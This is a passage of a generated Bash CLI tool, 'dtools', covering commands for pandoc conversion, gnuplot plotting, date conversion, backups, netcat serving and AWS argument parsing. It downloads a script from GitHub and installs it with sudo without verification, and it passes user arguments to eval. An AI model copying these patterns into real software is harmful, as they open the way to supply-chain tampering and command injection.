dtools_ntfy_reference_command() { cmd="$(get_opener) $cmd "https://docs.ntfy.sh/publish/#message-title" > /dev/null 2>&1 & disown } dtools_document_convert_command() { # shellcheck disable=SC2154 declare file="${args[file]}" # shellcheck disable=SC2154 declare source_format="${args[--source-format]}" # shellcheck disable=SC2154 declare target_format="${args[--target-format]}" # shellcheck disable=SC2154 declare output_file="${args[--output-file]:-${PWD}/${file%%."${source_format}"}.${target_format}}" pandoc -f "$source_format" -t "$target_format" -o "$output_file" "$file" -V geometry:margin=1in } dtools_document_merge_pdf_command() { # shellcheck disable=SC2154 declare output_file="${args[output-file]}" # shellcheck disable=SC2154 eval "input_files=(${args[--input-file]:-})" pdftk ${input_files[*]} output "$output_file" } dtools_document_decrypt_pdf_command() { # shellcheck disable=SC2154 declare input_file="${args[input-file]}" # shellcheck disable=SC2154 declare output_file="${args[--output-file]}" qpdf --decrypt "$input_file" "$output_file" } dtools_git_search_history_command() { # shellcheck disable=SC2154 declare search_string="${args[search-string]}" git rev-list --all | ( while read -r revision; do git grep -F "$search_string" "$revision" done ) } dtools_plot_command() { # shellcheck disable=SC2154 declare file="${args[--file]}" declare type="${args[--type]}" declare use_gui="${args[--gui]}" declare stack_vertically="${args[--stack-vertically]}" declare use_multiplot="${args[--multiplot]}" declare use_loki="${args[--loki]}" trap 'rm /dev/shm/tempPlotFile' EXIT if [[ -z $file ]]; then file='-' fi cat "$file" > /dev/shm/tempPlotFile if [[ $use_loki == "1" ]]; then loki -m claude:claude-sonnet-4-5-20250929 -e Create a plot of the given values using gnuplot < /dev/shm/tempPlotFile exit fi multiplot=$(if [[ $(head -1 /dev/shm/tempPlotFile) =~ [0-9]+.+[0-9]+ ]]; then echo "true"; else echo "false"; fi) if [[ $use_multiplot == 1 && $multiplot != "true" ]]; then red_bold "Multiple columns of data are required when using '--multiplot'" exit 1 fi if [[ $type == "line" ]]; then if [[ $use_gui == 1 ]]; then gnuplot -e "set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" --persist else gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" fi elif [[ $type == "bar" ]]; then if [[ $use_gui == 1 ]]; then if [[ $use_multiplot == 1 ]]; then if [[ $stack_vertically == 1 ]]; then gnuplot -e "set multiplot layout 2,1; set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using 1 with boxes; plot '/dev/shm/tempPlotFile' using 2 with boxes; unset multiplot" --persist else gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using (\$0-0.25):1 with boxes ls 1, '/dev/shm/tempPlotFile' using (\$0+0.25):2 with boxes ls 2" --persist fi else gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" --persist fi else gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" fi fi rm /dev/shm/tempPlotFile } dtools_real_time_plot_command() { if ! (command -v feedgnuplot > /dev/null 2>&1); then wget https://raw.githubusercontent.com/dkogan/feedgnuplot/master/bin/feedgnuplot chmod +x feedgnuplot sudo mv feedgnuplot /usr/local/bin/ fi feedgnuplot --lines --stream --xlen ${1:-30} --xlabel 'Second' --terminal 'dumb 180,40' 2> /dev/null } dtools_date_to_epoch_command() { # shellcheck disable=SC2154 datetime="${args[timestamp]}" if [[ $datetime == "-" ]]; then date +"%s%3N" -f - else date -d "$datetime" +"%s%3N" fi } dtools_epoch_to_date_command() { # shellcheck disable=SC2154 epoch="${args[epoch]}" convert-epoch() { awk '{print substr($0, 0, length($0)-3) "." substr($0, length($0)-2);}' <<< "$1" } if [[ $epoch == "-" ]]; then read epoch_stdin date -u -d "@$(convert-epoch "$epoch_stdin")" +"%Y-%m-%d %H:%M:%S" else date -u -d "@$(convert-epoch "$epoch")" +"%Y-%m-%d %H:%M:%S" fi } dtools_date_to_iso_8601_command() { # shellcheck disable=SC2154 datetime="${args[date]}" if [[ $datetime == "-" ]]; then date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -f - else date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -d "$datetime" fi } dtools_view_markdown_command() { # shellcheck disable=SC2154 grip -b "${args[file]}" } dtools_start_simple_server_command() { # shellcheck disable=SC2154 declare port="${args[--port]}" yellow "Starting a server on port '$port'..." yellow_bold "Stop the server with 'Ctrl+c'" while :; do printf 'HTTP/1.1 200 OK\r\n\r\n' | nc -Nl "$port" done } dtools_fzf_command() { set -eo pipefail # shellcheck disable=SC2154 declare pre_processing_pipe="${args[--pre-processing]}" declare target_command="${args[command]}" declare additional_xargs_arguments="${args[--additional-xargs-arguments]}" if [[ -z $pre_processing_pipe ]]; then # shellcheck disable=SC2154 eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | xargs -0 $additional_xargs_arguments -o $target_command" else # shellcheck disable=SC2154 eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | $pre_processing_pipe | xargs -0 $additional_xargs_arguments -o $target_command" fi } dtools_backup_command() { # shellcheck disable=SC2154 declare item="${args[item]}" declare backup_dest="${args[--backup-dest]}" declare move="${args[--move]}" if [[ $move == 1 ]]; then if [[ -d $item ]]; then if [[ -n $backup_dest ]]; then yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/. Original directory will no longer exist." mv -f "$item" "${backup_dest}${item}-bak" else yellow_bold "Backing up directory to: ${item}-bak/. Original directory will no longer exist." mv -f "$item" "${item}-bak" fi elif [[ -f $item ]]; then if [[ -n $backup_dest ]]; then yellow_bold "Creating backup file: ${backup_dest}${item}.bak. Original file will no longer exist." mv -f "$item" "${backup_dest}${item}.bak" else yellow_bold "Creating backup file: ${item}.bak. Original file will no longer exist." mv -f "$item" "${item}.bak" fi fi else if [[ -d $item ]]; then if [[ -n $backup_dest ]]; then yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/." cp -rf "$item" "${backup_dest}${item}-bak" else yellow_bold "Backing up directory to: ${item}-bak/." cp -rf "$item" "${item}-bak" fi elif [[ -f $item ]]; then if [[ -n $backup_dest ]]; then yellow_bold "Creating backup file: ${backup_dest}${item}.bak." cp -rf "$item" "${backup_dest}${item}.bak" else yellow_bold "Creating backup file: ${item}.bak." cp -rf "$item" "${item}.bak" fi fi fi } dtools_generate_password_command() { # shellcheck disable=SC2154 if [[ "${args[--copy-to-clipboard]}" == 1 ]]; then openssl rand -base64 32 | tr -d '\n' | xclip -sel clip else openssl rand -base64 32 fi } dtools_play_mp3_command() { # shellcheck disable=SC2154 mpg321 -q "${args[sound]}" } dtools_random_int_command() { # shellcheck disable=SC2154 declare min="${args[--min]}" declare max="${args[--max]}" echo "$((SRANDOM % (max - min + 1) + min))" } dtools_random_float_command() { # shellcheck disable=SC2154 declare min="${args[--min]}" declare max="${args[--max]}" declare precision="${args[--precision]}" awk -v min="$min" -v max="$max" -v precision="$precision" -f - <<-EOF BEGIN { srand(); printf "%1.*f\n", precision, min + (max-min) * rand() } EOF } dtools_record_shell_command() { # shellcheck disable=SC2154 declare output_file="${args[output_file]}" declare cast_file="${output_file}.cast" declare gif_file="${output_file}.gif" declare speed="${args[--speed]}" declare no_conversion="${args[--no-conversion]}" yellow "Starting recording... Press Ctrl-D to finish the recording." asciinema rec -c "bash --norc --noprofile -c 'PS1=\"\$ \" bash --norc --noprofile'" "$cast_file" if [[ ! -f $cast_file ]]; then red_bold "Error: Recording failed or was cancelled" exit 1 fi sed -i '$d' "$cast_file" if [[ $no_conversion != "1" ]]; then yellow "Converting to GIF..." agg --speed "$speed" "$cast_file" "$gif_file" yellow "Cleaning up ${cast_file}..." rm "$cast_file" green "Successfully created $gif_file" else green "Successfully created $cast_file" fi } parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --version | -v) version_command exit ;; --help | -h) long_usage=yes dtools_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; completions) action="completions" shift dtools_completions_parse_requirements "$@" shift $# ;; update) action="update" shift dtools_update_parse_requirements "$@" shift $# ;; ai) action="ai" shift dtools_ai_parse_requirements "$@" shift $# ;; aws) action="aws" shift dtools_aws_parse_requirements "$@" shift $# ;; gcp) action="gcp" shift dtools_gcp_parse_requirements "$@" shift $# ;; db) action="db" shift dtools_db_parse_requirements "$@" shift $# ;; elastic) action="elastic" shift dtools_elastic_parse_requirements "$@" shift $# ;; java) action="java" shift dtools_java_parse_requirements "$@" shift $# ;; ansible) action="ansible" shift dtools_ansible_parse_requirements "$@" shift $# ;; install) action="install" shift dtools_install_parse_requirements "$@" shift $# ;; clean) action="clean" shift dtools_clean_parse_requirements "$@" shift $# ;; tui) action="tui" shift dtools_tui_parse_requirements "$@" shift $# ;; pentest) action="pentest" shift dtools_pentest_parse_requirements "$@" shift $# ;; video) action="video" shift dtools_video_parse_requirements "$@" shift $# ;; vm) action="vm" shift dtools_vm_parse_requirements "$@" shift $# ;; network) action="network" shift dtools_network_parse_requirements "$@" shift $# ;; ntfy) action="ntfy" shift dtools_ntfy_parse_requirements "$@" shift $# ;; document) action="document" shift dtools_document_parse_requirements "$@" shift $# ;; git) action="git" shift dtools_git_parse_requirements "$@" shift $# ;; plot) action="plot" shift dtools_plot_parse_requirements "$@" shift $# ;; real-time-plot) action="real-time-plot" shift dtools_real_time_plot_parse_requirements "$@" shift $# ;; date-to-epoch) action="date-to-epoch" shift dtools_date_to_epoch_parse_requirements "$@" shift $# ;; epoch-to-date) action="epoch-to-date" shift dtools_epoch_to_date_parse_requirements "$@" shift $# ;; date-to-iso-8601) action="date-to-iso-8601" shift dtools_date_to_iso_8601_parse_requirements "$@" shift $# ;; view-markdown) action="view-markdown" shift dtools_view_markdown_parse_requirements "$@" shift $# ;; start-simple-server) action="start-simple-server" shift dtools_start_simple_server_parse_requirements "$@" shift $# ;; fzf) action="fzf" shift dtools_fzf_parse_requirements "$@" shift $# ;; backup) action="backup" shift dtools_backup_parse_requirements "$@" shift $# ;; generate-password) action="generate-password" shift dtools_generate_password_parse_requirements "$@" shift $# ;; play-mp3) action="play-mp3" shift dtools_play_mp3_parse_requirements "$@" shift $# ;; random-int) action="random-int" shift dtools_random_int_parse_requirements "$@" shift $# ;; random-float) action="random-float" shift dtools_random_float_parse_requirements "$@" shift $# ;; record-shell) action="record-shell" shift dtools_record_shell_parse_requirements "$@" shift $# ;; "") dtools_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_completions_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_completions_usage exit ;; *) break ;; esac done action="completions" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_update_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_update_usage exit ;; *) break ;; esac done action="update" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_ai_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ai_usage exit ;; *) break ;; esac done missing_deps= if ! command -v llama-cli >/dev/null 2>&1; then printf "missing dependency: llama-cli\n" >&2 printf "%s\n\n" "Install with 'brew install llama.cpp'" >&2 missing_deps=1 else deps['llama-cli']="$(command -v llama-cli | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; chat) action="chat" shift dtools_ai_chat_parse_requirements "$@" shift $# ;; start-llama-server) action="start-llama-server" shift dtools_ai_start_llama_server_parse_requirements "$@" shift $# ;; open-llama-ui) action="open-llama-ui" shift dtools_ai_open_llama_ui_parse_requirements "$@" shift $# ;; open-llama-api-docs) action="open-llama-api-docs" shift dtools_ai_open_llama_api_docs_parse_requirements "$@" shift $# ;; "") dtools_ai_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_ai_chat_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ai_chat_usage exit ;; *) break ;; esac done action="ai chat" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --hf-repo | -r) if [[ -n ${2+x} ]]; then args['--hf-repo']="$2" shift shift else printf "%s\n" "--hf-repo requires an argument: --hf-repo, -r HF_REPO" >&2 exit 1 fi ;; --hf-file | -f) if [[ -n ${2+x} ]]; then args['--hf-file']="$2" shift shift else printf "%s\n" "--hf-file requires an argument: --hf-file, -f HF_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" } dtools_ai_start_llama_server_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ai_start_llama_server_usage exit ;; *) break ;; esac done action="ai start-llama-server" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --hf-repo | -r) if [[ -n ${2+x} ]]; then args['--hf-repo']="$2" shift shift else printf "%s\n" "--hf-repo requires an argument: --hf-repo, -r HF_REPO" >&2 exit 1 fi ;; --hf-file | -f) if [[ -n ${2+x} ]]; then args['--hf-file']="$2" shift shift else printf "%s\n" "--hf-file requires an argument: --hf-file, -f HF_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" } dtools_ai_open_llama_ui_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ai_open_llama_ui_usage exit ;; *) break ;; esac done action="ai open-llama-ui" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_llama_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_ai_open_llama_api_docs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ai_open_llama_api_docs_usage exit ;; *) break ;; esac done action="ai open-llama-api-docs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_llama_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; login) action="login" shift dtools_aws_login_parse_requirements "$@" shift $# ;; console) action="console" shift dtools_aws_console_parse_requirements "$@" shift $# ;; shell) action="shell" shift dtools_aws_shell_parse_requirements "$@" shift $# ;; profile) action="profile" shift dtools_aws_profile_parse_requirements "$@" shift $# ;; region) action="region" shift dtools_aws_region_parse_requirements "$@" shift $# ;; toggle-auto-prompt) action="toggle-auto-prompt" shift dtools_aws_toggle_auto_prompt_parse_requirements "$@" shift $# ;; export-sso-creds) action="export-sso-creds" shift dtools_aws_export_sso_creds_parse_requirements "$@" shift $# ;; generate-sso-profiles) action="generate-sso-profiles" shift dtools_aws_generate_sso_profiles_parse_requirements "$@" shift $# ;; ec2) action="ec2" shift dtools_aws_ec2_parse_requirements "$@" shift $# ;; ssm) action="ssm" shift dtools_aws_ssm_parse_requirements "$@" shift $# ;; secretsmanager) action="secretsmanager" shift dtools_aws_secretsmanager_parse_requirements "$@" shift $# ;; logs) action="logs" shift dtools_aws_logs_parse_requirements "$@" shift $# ;; rds) action="rds" shift dtools_aws_rds_parse_requirements "$@" shift $# ;; "") dtools_aws_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_login_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_login_usage exit ;; *) break ;; esac done action="aws login" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_console_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_console_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wmctrl >/dev/null 2>&1; then printf "missing dependency: wmctrl\n" >&2 printf "%s\n\n" "Install with 'sudo apt-get install wmctrl'" >&2 missing_deps=1 else deps['wmctrl']="$(command -v wmctrl | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="aws console" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --service | -s) if [[ -n ${2+x} ]]; then args['--service']="$2" shift shift else printf "%s\n" "--service requires an argument: --service, -s SERVICE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_shell_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_shell_usage exit ;; *) break ;; esac done action="aws shell" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_profile_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_profile_usage exit ;; *) break ;; esac done action="aws profile" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['profile']+x} ]]; then args['profile']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['profile']+x} ]]; then printf "missing required argument: PROFILE\nusage: dtools aws profile PROFILE\n" >&2 exit 1 fi if [[ -v args['profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['profile']:-}")" if [[ -n "$validation_output" ]]; then printf "validation error in %s:\n%s\n" "PROFILE" "$validation_output" >&2 exit 1 fi fi } dtools_aws_region_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_region_usage exit ;; *) break ;; esac done action="aws region" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['region']+x} ]]; then args['region']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['region']+x} ]]; then printf "missing required argument: REGION\nusage: dtools aws region REGION\n" >&2 exit 1 fi if [[ -n ${args['region']:-} ]] && [[ ! ${args['region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi } dtools_aws_toggle_auto_prompt_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_toggle_auto_prompt_usage exit ;; *) break ;; esac done action="aws toggle-auto-prompt" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_export_sso_creds_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_export_sso_creds_usage exit ;; *) break ;; esac done action="aws export-sso-creds" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_generate_sso_profiles_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_generate_sso_profiles_usage exit ;; *) break ;; esac done missing_deps= if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="aws generate-sso-profiles" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --backup) args['--backup']=1 shift ;; --default-cli-region | -d) if [[ -n ${2+x} ]]; then args['--default-cli-region']="$2" shift shift else printf "%s\n" "--default-cli-region requires an argument: --default-cli-region, -d DEFAULT-CLI-REGION" >&2 exit 1 fi ;; --sso-region | -r) if [[ -n ${2+x} ]]; then args['--sso-region']="$2" shift shift else printf "%s\n" "--sso-region requires an argument: --sso-region, -r SSO-REGION" >&2 exit 1 fi ;; --sso-start-url | -u) if [[ -n ${2+x} ]]; then args['--sso-start-url']="$2" shift shift else printf "%s\n" "--sso-start-url requires an argument: --sso-start-url, -u SSO-START-URL" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--sso-region']+x} ]]; then printf "missing required flag: --sso-region, -r SSO-REGION\n" >&2 exit 1 fi if [[ -z ${args['--sso-start-url']+x} ]]; then printf "missing required flag: --sso-start-url, -u SSO-START-URL\n" >&2 exit 1 fi if [[ ${args['--default-cli-region']:-} ]] && [[ ! ${args['--default-cli-region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--default-cli-region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, 